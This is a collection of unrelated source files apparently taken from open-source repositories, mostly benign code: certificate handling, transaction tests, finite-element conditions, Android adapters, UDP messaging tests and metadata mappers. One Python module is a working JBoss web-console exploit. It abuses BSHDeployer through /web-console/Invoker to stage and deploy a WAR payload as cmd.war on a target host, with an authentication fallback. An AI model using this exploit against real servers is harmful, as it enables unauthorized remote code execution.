= CryptographicBuffer::EncodeToHexString(CryptographicBuffer::CreateFromByteArray(cert->SerialNumber)); auto item = ref new CertificateItem("Subject: " + cert->Subject + ", Serial Number: " + serialNumber, cert); if (cert->IsPerUser) { UserCertificateListView->Items->Append(item); } else { AppCertificateListView->Items->Append(item); } } }); } void Scenario1_MoveCertificate::MoveUserCertificateToAppCertificateStore() { auto item = dynamic_cast<CertificateItem^>(UserCertificateListView->SelectedItem); if (item != nullptr) { appStore->Add(item->Certificate); create_task(userStore->RequestDeleteAsync(item->Certificate)).then([=](boolean succeeded) { if (succeeded) { appStore->Add(item->Certificate); unsigned int index; if (UserCertificateListView->Items->IndexOf(item, &index)) { UserCertificateListView->Items->RemoveAt(index); } AppCertificateListView->Items->Append(item); AppCertificateListView->SelectedItem = item; AppCertificateListView->ScrollIntoView(item); } else { appStore->Delete(item->Certificate); } }); } } void Scenario1_MoveCertificate::MoveAppCertificateToUserCertificateStore() { auto item = dynamic_cast<CertificateItem^>(AppCertificateListView->SelectedItem); if (item != nullptr) { create_task(userStore->RequestAddAsync(item->Certificate)).then([=](bool succeeded) { if (succeeded) { appStore->Delete(item->Certificate); unsigned int index; if (AppCertificateListView->Items->IndexOf(item, &index)) { AppCertificateListView->Items->RemoveAt(index); } UserCertificateListView->Items->Append(item); UserCertificateListView->SelectedItem = item; UserCertificateListView->ScrollIntoView(item); } }); } }
1,612
1,337
/* * Copyright (c) 2008-2016 Haulmont. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.haulmont.cuba.tx_listener; import com.haulmont.cuba.core.EntityManager; import com.haulmont.cuba.core.Persistence; import com.haulmont.cuba.core.Transaction; import com.haulmont.cuba.core.entity.Entity; import com.haulmont.cuba.core.listener.BeforeCommitTransactionListener; import com.haulmont.cuba.core.TypedQuery; import com.haulmont.cuba.core.global.Metadata; import com.haulmont.cuba.core.global.PersistenceHelper; import com.haulmont.cuba.security.entity.Group; import com.haulmont.cuba.security.entity.User; import com.haulmont.cuba.testsupport.TestSupport; import org.springframework.stereotype.Component; import javax.inject.Inject; import javax.persistence.FlushModeType; import java.util.Collection; import java.util.UUID; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertNotNull; @Component("cuba_TestBeforeCommitTxListener") public class TestBeforeCommitTxListener implements BeforeCommitTransactionListener { public static String test; public static UUID createdEntityId; @Inject private Metadata metadata; @Inject private Persistence persistence; @Override public void beforeCommit(EntityManager entityManager, Collection<Entity> managedEntities) { if (test != null) { System.out.println("beforeCommit: managedEntities=" + managedEntities); switch (test) { case "testChangeEntity": changeEntity(managedEntities); break; case "testCreateEntity": createEntity(entityManager); break; case "testQueryWithFlush": queryWithFlush(managedEntities, entityManager); break; case "testCreateEntityInNewTransaction": createEntityInNewTransaction(); break; case "testCreateEntityInNewTransactionAndRollback": createEntityInNewTransactionAndRollback(); break; case "testCreateEntityInSameTransaction": createEntityInSameTransaction(); break; case "testCreateEntityInSameTransactionAndRollback": createEntityInSameTransactionAndRollback(); break; } } } private void createEntityInNewTransaction() { test = null; try (Transaction tx = persistence.createTransaction()) { createEntity(persistence.getEntityManager()); System.out.println("Created in new transaction: " + createdEntityId); tx.commit(); } } private void createEntityInSameTransaction() { test = null; try (Transaction tx = persistence.getTransaction()) { createEntity(persistence.getEntityManager()); System.out.println("Created in same transaction: " + createdEntityId); tx.commit(); } } private void createEntityInNewTransactionAndRollback() { test = null; try (Transaction tx = persistence.createTransaction()) { createEntity(persistence.getEntityManager()); System.out.println("Created in new transaction: " + createdEntityId); tx.commit(); } throw new RuntimeException("some error"); } private void createEntityInSameTransactionAndRollback() { test = null; try (Transaction tx = persistence.getTransaction()) { createEntity(persistence.getEntityManager()); System.out.println("Created in same transaction: " + createdEntityId); tx.commit(); } throw new RuntimeException("some error"); } private void changeEntity(Collection<Entity> managedEntities) { for (Object entity : managedEntities) { if (entity instanceof User && ((User) entity).getLogin().startsWith("TxLstnrTst-")) { User user = (User) entity; if (PersistenceHelper.isNew(user)) { assertEquals(user.getLogin().toLowerCase(), user.getLoginLowerCase()); // user listener has worked user.setName("set by tx listener"); } } } } private void createEntity(EntityManager entityManager) { Group companyGroup = entityManager.find(Group.class, TestSupport.COMPANY_GROUP_ID); User u = metadata.create(User.class); createdEntityId = u.getId(); u.setLogin("TxLstnrTst-" + u.getId()); u.setLoginLowerCase(u.getLogin().toLowerCase()); u.setGroup(companyGroup); entityManager.persist(u); } private void queryWithFlush(Collection<Entity> managedEntities, EntityManager entityManager) { if (!managedEntities.stream().anyMatch(e -> e instanceof User && ((User) e).getLogin().startsWith("TxLstnrTst-"))) return; TypedQuery<User> query = entityManager.createQuery("select u from sec$User u where u.login like ?1", User.class); query.setParameter(1, "TxLstnrTst-2-%"); query.setFlushMode(FlushModeType.AUTO); User result = query.getFirstResult(); assertNotNull(result); } }
2,060
778
// | / | // ' / __| _` | __| _ \ __| // . \ | ( | | ( |\__ ` // _|\_\_| \__,_|\__|\___/ ____/ // Multi-Physics // // License: BSD License // Kratos default license: kratos/license.txt // // Main authors: <NAME>, <NAME> // // System includes // External includes // Project includes #include "custom_conditions/load_moment_director_5p_condition.h" #include "iga_application_variables.h" namespace Kratos { void LoadMomentDirector5pCondition::CalculateAll( MatrixType& rLeftHandSideMatrix, VectorType& rRightHandSideVector, const ProcessInfo& rCurrentProcessInfo, const bool CalculateStiffnessMatrixFlag, const bool CalculateResidualVectorFlag ) { const auto& r_geometry = GetGeometry(); const SizeType number_of_nodes = r_geometry.size(); const SizeType mat_size = 2 * number_of_nodes; // Memory allocation if (CalculateStiffnessMatrixFlag) { if (rLeftHandSideMatrix.size1() != mat_size) { rLeftHandSideMatrix.resize(mat_size, mat_size, false); } noalias(rLeftHandSideMatrix) = ZeroMatrix(mat_size, mat_size); } if (CalculateResidualVectorFlag) { if (rRightHandSideVector.size() != mat_size) { rRightHandSideVector.resize(mat_size, false); } rRightHandSideVector = ZeroVector(mat_size); } // Calculation of Force vector if (CalculateResidualVectorFlag) { Vector f = ZeroVector(mat_size); // Integration const GeometryType::IntegrationPointsArrayType& integration_points = r_geometry.IntegrationPoints(); Vector determinat_jacobian_vector(integration_points.size()); r_geometry.DeterminantOfJacobian(determinat_jacobian_vector); // initial determinant of jacobian for dead load Vector determinat_jacobian_vector_initial(integration_points.size()); if (this->Has(DEAD_LOAD)) { DeterminantOfJacobianInitial(r_geometry, determinat_jacobian_vector_initial); } // Shape function values for all integration points const Matrix& r_N = r_geometry.ShapeFunctionsValues(); for (IndexType point_number = 0; point_number < integration_points.size(); point_number++) { f = ZeroVector(mat_size); // Differential area const double integration_weight = integration_points[point_number].Weight(); const double d_weight = integration_weight * determinat_jacobian_vector_initial[point_number]; // Line loads if (this->Has(MOMENT_LINE_LOAD)) { const array_1d<double, 3>& momentload = calculateMomentLoadTimesDirectorTestFunction(r_geometry,r_N,point_number,this->GetValue(MOMENT_LINE_LOAD)); for (IndexType i = 0; i < number_of_nodes; i++) { const IndexType index = 2 * i; subrange(f, index, index + 1) = r_N(point_number, i) * d_weight * prod(trans(r_geometry[i].GetValue(DIRECTORTANGENTSPACE)), momentload); } } // Assembly noalias(rRightHandSideVector) += f; } } } array_1d<double, 3> LoadMomentDirector5pCondition::calculateMomentLoadTimesDirectorTestFunction( const GeometryType& rGeometry, const Matrix& r_N, const IndexType& point_number, const array_1d<double, 3>& momentload) { array_1d<double, 3> t = ZeroVector(3); const SizeType number_of_nodes = rGeometry.size(); for (size_t i = 0; i < number_of_nodes; i++) { t += r_N(point_number, i) * rGeometry[i].GetValue(DIRECTOR); } t /= norm_2(t); array_1d<double, 3> momentloadtranformed; MathUtils<double>::CrossProduct(momentloadtranformed, momentload, t); return momentloadtranformed; } void LoadMomentDirector5pCondition::DeterminantOfJacobianInitial( const GeometryType& rGeometry, Vector& rDeterminantOfJacobian) { const IndexType nb_integration_points = rGeometry.IntegrationPointsNumber(); if (rDeterminantOfJacobian.size() != nb_integration_points) { rDeterminantOfJacobian.resize(nb_integration_points, false); } const SizeType working_space_dimension = rGeometry.WorkingSpaceDimension(); const SizeType local_space_dimension = rGeometry.LocalSpaceDimension(); const SizeType nb_nodes = rGeometry.PointsNumber(); Matrix J = ZeroMatrix(working_space_dimension, local_space_dimension); for (IndexType pnt = 0; pnt < nb_integration_points; pnt++) { const Matrix& r_DN_De = rGeometry.ShapeFunctionsLocalGradients()[pnt]; J.clear(); for (IndexType i = 0; i < nb_nodes; ++i) { const array_1d<double, 3>& r_coordinates = rGeometry[i].GetInitialPosition(); for (IndexType k = 0; k < working_space_dimension; ++k) { const double value = r_coordinates[k]; for (IndexType m = 0; m < local_space_dimension; ++m) { J(k, m) += value * r_DN_De(i, m); } } } rDeterminantOfJacobian[pnt] = MathUtils<double>::GeneralizedDet(J); } } void LoadMomentDirector5pCondition::EquationIdVector( EquationIdVectorType& rResult, const ProcessInfo& rCurrentProcessInfo ) const { const auto& r_geometry = GetGeometry(); const SizeType number_of_nodes = r_geometry.size(); if (rResult.size() != 2 * number_of_nodes) rResult.resize(2 * number_of_nodes, false); for (IndexType i = 0; i < number_of_nodes; ++i) { const IndexType index = i * 2; const auto& r_node = r_geometry[i]; rResult[index] = r_node.GetDof(DIRECTORINC_X).EquationId(); rResult[index + 1] = r_node.GetDof(DIRECTORINC_Y).EquationId(); } } void LoadMomentDirector5pCondition::GetDofList( DofsVectorType& rElementalDofList, const ProcessInfo& rCurrentProcessInfo ) const { const auto& r_geometry = GetGeometry(); const SizeType number_of_nodes = r_geometry.size(); rElementalDofList.resize(0); rElementalDofList.reserve(2 * number_of_nodes); for (IndexType i = 0; i < number_of_nodes; ++i) { const auto& r_node = r_geometry[i]; rElementalDofList.push_back(r_node.pGetDof(DIRECTORINC_X)); rElementalDofList.push_back(r_node.pGetDof(DIRECTORINC_Y)); } }; } // Namespace Kratos
3,302
539
from src.platform.jboss.authenticate import checkAuth from src.platform.jboss.interfaces import JINTERFACES from src.module.deploy_utils import bsh_deploy from log import LOG from base64 import b64encode from os import remove, path import utility versions = ["3.2", "4.0", "4.2"] title = JINTERFACES.WC def deploy(fingerengine, fingerprint): """ This module exploits the BSHDeployer in an exposed JBoss web-console. It essentially invokes /web-console/Invoker to download and deploy a BSH, which can be used as a stager for our WAR payload. """ war_file = path.abspath(fingerengine.options.deploy) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format( fingerengine.options.ip, fingerprint.port) if not rewriteBsh(war_file, fingerengine.options.remote_os): utility.Msg("Failed to write WAR to BSH", LOG.ERROR) return # poll the URL to check for 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking.." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0], usr, pswd) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for the serialized request response = bsh_deploy(fingerengine.options.remote_os, url, fingerprint.version.split('.')[0]) # remove the copied bsh remove("./src/lib/jboss/bsh_deploy/bshdeploy.bsh") if response: if type(response) is str and response != '': utility.Msg(response, LOG.DEBUG) elif response.returncode > 0: utility.Msg("Failed to deploy to %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) utility.Msg(response.output, LOG.DEBUG) return utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) def rewriteBsh(war_file, arch): """ Makes a copy of our beanshell script template and replaces a handful of placeholder variables, such as WAR data and write path. """ try: base = "./src/lib/jboss/bsh_deploy" b64 = b64encode(open(war_file, "rb").read()) path = getPath(arch) with open("{0}/_bshdeploy.bsh".format(base)) as f1: with open("{0}/bshdeploy.bsh".format(base), "w") as f2: for line in f1: tmp = line # replace our vars if "[[WDATA]]" in line: tmp = tmp.replace("[[WDATA]]", b64) elif "[[ARCH]]" in line: tmp = tmp.replace("[[ARCH]]", path) f2.write(tmp) return True except Exception, e: utility.Msg(e, LOG.ERROR) return False def getPath(arch): """ Different paths for different architectures """ return "c:/windows/temp/cmd.war" if arch is "windows" else "/tmp/cmd.war"
1,823
1,085
<filename>sabot/kernel/src/main/java/com/dremio/exec/planner/physical/visitor/ComplexToJsonPrelVisitor.java /* * Copyright (C) 2017-2019 Dremio Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.dremio.exec.planner.physical.visitor; import java.util.Collections; import org.apache.calcite.rel.RelNode; import com.dremio.exec.planner.physical.ComplexToJsonPrel; import com.dremio.exec.planner.physical.Prel; import com.dremio.exec.planner.physical.ScreenPrel; public class ComplexToJsonPrelVisitor extends BasePrelVisitor<Prel, Void, RuntimeException> { private static final ComplexToJsonPrelVisitor INSTANCE = new ComplexToJsonPrelVisitor(); public static Prel addComplexToJsonPrel(Prel prel) { return prel.accept(INSTANCE, null); } @Override public Prel visitScreen(ScreenPrel prel, Void value) throws RuntimeException { return prel.copy(prel.getTraitSet(), Collections.singletonList((RelNode)new ComplexToJsonPrel((Prel)prel.getInput()))); } }
475
1,845
package org.rajawali3d.examples.recycler; import androidx.annotation.MainThread; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import androidx.recyclerview.widget.RecyclerView.ViewHolder; import java.util.ArrayList; import java.util.List; abstract class ReferencedAdapter<T, V extends ViewHolder, R extends ReferencedAdapter.IndexReference<T>> extends RecyclerView.Adapter<V> { private final List<R> referenceList; public ReferencedAdapter() { referenceList = new ArrayList<>(); } protected abstract void onBindViewHolder(V holder, int position, R indexReference); protected abstract int getIndexViewType(R indexReference); @Override public int getItemViewType(int position) { R indexReference = referenceList.get(position); return getIndexViewType(indexReference); } @Override public final void onBindViewHolder(V holder, int position) { R indexReference = referenceList.get(position); onBindViewHolder(holder, position, indexReference); } @Override public int getItemCount() { return referenceList.size(); } @MainThread public void setReferences(@NonNull List<R> indexReferences) { referenceList.clear(); referenceList.addAll(indexReferences); } public static abstract class IndexReference<T> { final Class<T> type; final T value; @SuppressWarnings("unchecked") public IndexReference(@NonNull T value) { this.value = value; this.type = (Class<T>) value.getClass(); } @NonNull public T get() { return value; } @NonNull public Class<T> getType() { return type; } } }
693
14,668
<reponame>zealoussnow/chromium // Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ash/attestation/certificate_util.h" #include "base/containers/span.h" #include "base/logging.h" #include "base/memory/scoped_refptr.h" #include "base/notreached.h" #include "base/time/time.h" #include "net/cert/pem.h" #include "net/cert/x509_certificate.h" namespace ash { namespace attestation { CertificateExpiryStatus CheckCertificateExpiry( const std::string& certificate_chain, base::TimeDelta expiry_threshold) { bool is_expiring_soon = false; bool invalid_certificate_found = false; bool any_certificate_found = false; net::PEMTokenizer pem_tokenizer(certificate_chain, {"CERTIFICATE"}); while (pem_tokenizer.GetNext()) { any_certificate_found = true; scoped_refptr<net::X509Certificate> x509 = net::X509Certificate::CreateFromBytes( base::as_bytes(base::make_span(pem_tokenizer.data()))); if (!x509.get() || x509->valid_expiry().is_null()) { // In theory this should not happen but in practice parsing X.509 can be // brittle and there are a lot of factors including which underlying // module is parsing the certificate, whether that module performs more // checks than just ASN.1/DER format, and the server module that generated // the certificate(s). invalid_certificate_found = true; continue; } const base::Time current_time = base::Time::Now(); if (current_time > x509->valid_expiry()) { // Found valid expired token, other tokens can be ignored. return CertificateExpiryStatus::kExpired; } if (current_time + expiry_threshold > x509->valid_expiry()) { // Check this flag after the loop to not to loose possible expired tokens. is_expiring_soon = true; } } if (is_expiring_soon) { // Found at least one expiring soon token and can ignore invalid tokens. return CertificateExpiryStatus::kExpiringSoon; } if (invalid_certificate_found) { return CertificateExpiryStatus::kInvalidX509; } if (!any_certificate_found) { return CertificateExpiryStatus::kInvalidPemChain; } return CertificateExpiryStatus::kValid; } std::string CertificateExpiryStatusToString(CertificateExpiryStatus status) { switch (status) { case CertificateExpiryStatus::kValid: return "Valid"; case CertificateExpiryStatus::kExpiringSoon: return "ExpiringSoon"; case CertificateExpiryStatus::kExpired: return "Expired"; case CertificateExpiryStatus::kInvalidPemChain: return "InvalidPemChain"; case CertificateExpiryStatus::kInvalidX509: return "InvalidX509"; } NOTREACHED() << "Unknown certificate status"; } } // namespace attestation } // namespace ash
1,007
325
/* * The MIT License (MIT) * * Copyright (c) 2014-2018, <NAME> * * Permission is hereby granted, free of charge, to any person * obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without * restriction, including without limitation the rights to use, copy, * modify, merge, publish, distribute, sublicense, and/or sell copies * of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * This file is part of the Simba project. */ #ifndef __KERNEL_THRD_PORT_H__ #define __KERNEL_THRD_PORT_H__ #if CONFIG_PREEMPTIVE_SCHEDULER == 1 # error "This port does not support a preemptive scheduler." #endif #define THRD_PORT_STACK(name, size) \ uint64_t name[DIV_CEIL(sizeof(struct thrd_t) + (size), \ sizeof(uint64_t))] __attribute((aligned (8))) #define THRD_PORT_CONTEXT_STORE_ISR #define THRD_PORT_CONTEXT_LOAD_ISR struct thrd_port_context_t { uint32_t r13; uint32_t r14; uint32_t r15; uint32_t r16; uint32_t r17; uint32_t r18; uint32_t r19; uint32_t r20; uint32_t r21; uint32_t r22; uint32_t r23; uint32_t r24; uint32_t r25; uint32_t r26; uint32_t r27; uint32_t r28; uint32_t r29; uint32_t r30; uint32_t r31; uint32_t cr; uint32_t lr; uint32_t r2; uint32_t r0; }; struct thrd_port_t { struct thrd_port_context_t *context_p; struct { uint32_t start; struct { uint32_t start; uint32_t time; } period; } cpu; }; #endif
926
1,603
<gh_stars>1000+ package com.linkedin.datahub.graphql.types.notebook.mappers; import com.linkedin.common.AuditStamp; import com.linkedin.common.GlobalTags; import com.linkedin.common.TagAssociationArray; import com.linkedin.common.urn.Urn; import com.linkedin.dashboard.EditableDashboardProperties; import com.linkedin.data.template.SetMode; import com.linkedin.datahub.graphql.generated.NotebookUpdateInput; import com.linkedin.datahub.graphql.types.common.mappers.OwnershipUpdateMapper; import com.linkedin.datahub.graphql.types.common.mappers.util.UpdateMappingHelper; import com.linkedin.datahub.graphql.types.mappers.InputModelMapper; import com.linkedin.datahub.graphql.types.tag.mappers.TagAssociationUpdateMapper; import com.linkedin.mxe.MetadataChangeProposal; import java.util.ArrayList; import java.util.Collection; import java.util.stream.Collectors; import javax.annotation.Nonnull; import static com.linkedin.metadata.Constants.*; public class NotebookUpdateInputMapper implements InputModelMapper<NotebookUpdateInput, Collection<MetadataChangeProposal>, Urn> { public static final NotebookUpdateInputMapper INSTANCE = new NotebookUpdateInputMapper(); public static Collection<MetadataChangeProposal> map(@Nonnull final NotebookUpdateInput notebookUpdateInput, @Nonnull final Urn actor) { return INSTANCE.apply(notebookUpdateInput, actor); } @Override public Collection<MetadataChangeProposal> apply(NotebookUpdateInput input, Urn actor) { final Collection<MetadataChangeProposal> proposals = new ArrayList<>(3); final UpdateMappingHelper updateMappingHelper = new UpdateMappingHelper(NOTEBOOK_ENTITY_NAME); final AuditStamp auditStamp = new AuditStamp(); auditStamp.setActor(actor, SetMode.IGNORE_NULL); auditStamp.setTime(System.currentTimeMillis()); if (input.getOwnership() != null) { proposals.add(updateMappingHelper.aspectToProposal(OwnershipUpdateMapper.map(input.getOwnership(), actor), OWNERSHIP_ASPECT_NAME)); } if (input.getTags() != null) { final GlobalTags globalTags = new GlobalTags(); globalTags.setTags(new TagAssociationArray(input.getTags().getTags().stream() .map(TagAssociationUpdateMapper::map) .collect(Collectors.toList()))); proposals.add(updateMappingHelper.aspectToProposal(globalTags, GLOBAL_TAGS_ASPECT_NAME)); } if (input.getEditableProperties() != null) { final EditableDashboardProperties editableDashboardProperties = new EditableDashboardProperties(); editableDashboardProperties.setDescription(input.getEditableProperties().getDescription()); if (!editableDashboardProperties.hasCreated()) { editableDashboardProperties.setCreated(auditStamp); } editableDashboardProperties.setLastModified(auditStamp); proposals.add(updateMappingHelper.aspectToProposal(editableDashboardProperties, EDITABLE_NOTEBOOK_PROPERTIES_ASPECT_NAME)); } return proposals; } }
1,009
3,603
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.trino.plugin.hive.benchmark; import com.google.common.collect.ImmutableList; import io.trino.spi.Page; import io.trino.spi.type.Type; import java.util.List; public class TestData { private final List<String> columnNames; private final List<Type> columnTypes; private final List<Page> pages; private final int size; public TestData(List<String> columnNames, List<Type> columnTypes, List<Page> pages) { this.columnNames = ImmutableList.copyOf(columnNames); this.columnTypes = ImmutableList.copyOf(columnTypes); this.pages = ImmutableList.copyOf(pages); this.size = (int) pages.stream().mapToLong(Page::getSizeInBytes).sum(); } public List<String> getColumnNames() { return columnNames; } public List<Type> getColumnTypes() { return columnTypes; } public List<Page> getPages() { return pages; } public int getSize() { return size; } }
536
1,350
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.automation.models; import com.azure.resourcemanager.automation.fluent.models.JobStreamListResultInner; import java.util.List; /** An immutable client-side representation of JobStreamListResult. */ public interface JobStreamListResult { /** * Gets the value property: A list of job streams. * * @return the value value. */ List<JobStream> value(); /** * Gets the nextLink property: Gets or sets the next link. * * @return the nextLink value. */ String nextLink(); /** * Gets the inner com.azure.resourcemanager.automation.fluent.models.JobStreamListResultInner object. * * @return the inner object. */ JobStreamListResultInner innerModel(); }
303
1,093
<reponame>StandCN/spring-integration /* * Copyright 2002-2021 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.springframework.integration.ip.udp; import static org.assertj.core.api.Assertions.assertThat; import static org.awaitility.Awaitility.await; import static org.mockito.Mockito.mock; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetSocketAddress; import java.time.Duration; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import java.util.concurrent.atomic.AtomicInteger; import org.junit.Test; import org.springframework.beans.factory.BeanFactory; import org.springframework.core.task.SimpleAsyncTaskExecutor; import org.springframework.integration.ip.IpHeaders; import org.springframework.integration.support.MessageBuilder; import org.springframework.messaging.Message; /** * @author <NAME> * @author <NAME> * @author <NAME> * @author <NAME> * * @since 2.0 */ public class DatagramPacketSendingHandlerTests { @Test public void verifySend() throws Exception { byte[] buffer = new byte[8]; final DatagramPacket receivedPacket = new DatagramPacket(buffer, buffer.length); final CountDownLatch received = new CountDownLatch(1); final AtomicInteger testPort = new AtomicInteger(); final CountDownLatch listening = new CountDownLatch(1); new SimpleAsyncTaskExecutor("verifySend-") .execute(() -> { try { DatagramSocket socket = new DatagramSocket(); testPort.set(socket.getLocalPort()); listening.countDown(); socket.receive(receivedPacket); received.countDown(); socket.close(); } catch (Exception e) { e.printStackTrace(); } }); assertThat(listening.await(10, TimeUnit.SECONDS)).isTrue(); UnicastSendingMessageHandler handler = new UnicastSendingMessageHandler("localhost", testPort.get()); String payload = "foo"; handler.handleMessage(MessageBuilder.withPayload(payload).build()); assertThat(received.await(3000, TimeUnit.MILLISECONDS)).isTrue(); byte[] src = receivedPacket.getData(); int length = receivedPacket.getLength(); int offset = receivedPacket.getOffset(); byte[] dest = new byte[length]; System.arraycopy(src, offset, dest, 0, length); assertThat(new String(dest)).isEqualTo(payload); handler.stop(); } @Test public void verifySendWithAck() throws Exception { final AtomicInteger testPort = new AtomicInteger(); final AtomicInteger ackPort = new AtomicInteger(); byte[] buffer = new byte[1000]; final DatagramPacket receivedPacket = new DatagramPacket(buffer, buffer.length); final CountDownLatch listening = new CountDownLatch(1); final CountDownLatch ackListening = new CountDownLatch(1); final CountDownLatch ackSent = new CountDownLatch(1); new SimpleAsyncTaskExecutor("verifySendWithAck-") .execute(() -> { try { DatagramSocket socket = new DatagramSocket(); testPort.set(socket.getLocalPort()); listening.countDown(); assertThat(ackListening.await(10, TimeUnit.SECONDS)).isTrue(); socket.receive(receivedPacket); socket.close(); DatagramPacketMessageMapper mapper = new DatagramPacketMessageMapper(); mapper.setAcknowledge(true); mapper.setLengthCheck(true); Message<byte[]> message = mapper.toMessage(receivedPacket); Object id = message.getHeaders().get(IpHeaders.ACK_ID); byte[] ack = id.toString().getBytes(); DatagramPacket ackPack = new DatagramPacket(ack, ack.length, new InetSocketAddress("localHost", ackPort.get())); DatagramSocket out = new DatagramSocket(); out.send(ackPack); out.close(); ackSent.countDown(); } catch (Exception e) { e.printStackTrace(); } }); listening.await(10000, TimeUnit.MILLISECONDS); UnicastSendingMessageHandler handler = new UnicastSendingMessageHandler("localhost", testPort.get(), true, true, "localhost", 0, 5000); handler.setBeanFactory(mock(BeanFactory.class)); handler.afterPropertiesSet(); handler.start(); waitAckListening(handler); ackPort.set(handler.getAckPort()); ackListening.countDown(); String payload = "foobar"; handler.handleMessage(MessageBuilder.withPayload(payload).build()); assertThat(ackSent.await(10000, TimeUnit.MILLISECONDS)).isTrue(); byte[] src = receivedPacket.getData(); int length = receivedPacket.getLength(); int offset = receivedPacket.getOffset(); byte[] dest = new byte[6]; System.arraycopy(src, offset + length - 6, dest, 0, 6); assertThat(new String(dest)).isEqualTo(payload); handler.stop(); } public void waitAckListening(UnicastSendingMessageHandler handler) { await("Handler not listening").atMost(Duration.ofSeconds(10)).until(() -> handler.getAckPort() > 0); } }
1,863
1,711
{"request":{"ablations":[],"ids":[100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119],"project":"churchoutdoor","wantz":0},"res":[{"d":"/data/churchoutdoor/cache/img/id/100.jpg","id":100},{"d":"/data/churchoutdoor/cache/img/id/101.jpg","id":101},{"d":"/data/churchoutdoor/cache/img/id/102.jpg","id":102},{"d":"/data/churchoutdoor/cache/img/id/103.jpg","id":103},{"d":"/data/churchoutdoor/cache/img/id/104.jpg","id":104},{"d":"/data/churchoutdoor/cache/img/id/105.jpg","id":105},{"d":"/data/churchoutdoor/cache/img/id/106.jpg","id":106},{"d":"/data/churchoutdoor/cache/img/id/107.jpg","id":107},{"d":"/data/churchoutdoor/cache/img/id/108.jpg","id":108},{"d":"/data/churchoutdoor/cache/img/id/109.jpg","id":109},{"d":"/data/churchoutdoor/cache/img/id/110.jpg","id":110},{"d":"/data/churchoutdoor/cache/img/id/111.jpg","id":111},{"d":"/data/churchoutdoor/cache/img/id/112.jpg","id":112},{"d":"/data/churchoutdoor/cache/img/id/113.jpg","id":113},{"d":"/data/churchoutdoor/cache/img/id/114.jpg","id":114},{"d":"/data/churchoutdoor/cache/img/id/115.jpg","id":115},{"d":"/data/churchoutdoor/cache/img/id/116.jpg","id":116},{"d":"/data/churchoutdoor/cache/img/id/117.jpg","id":117},{"d":"/data/churchoutdoor/cache/img/id/118.jpg","id":118},{"d":"/data/churchoutdoor/cache/img/id/119.jpg","id":119}]}
503
984
<reponame>om-sharma/java-driver /* * Copyright DataStax, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.datastax.oss.driver.categories; import com.datastax.oss.driver.api.testinfra.ccm.CcmRule; import com.datastax.oss.driver.api.testinfra.ccm.CustomCcmRule; /** * Defines a classification of tests that can be run in parallel, namely: tests that use {@link * CcmRule} (not {@link CustomCcmRule}), and tests that use Simulacron. */ public interface ParallelizableTests {}
294
7,113
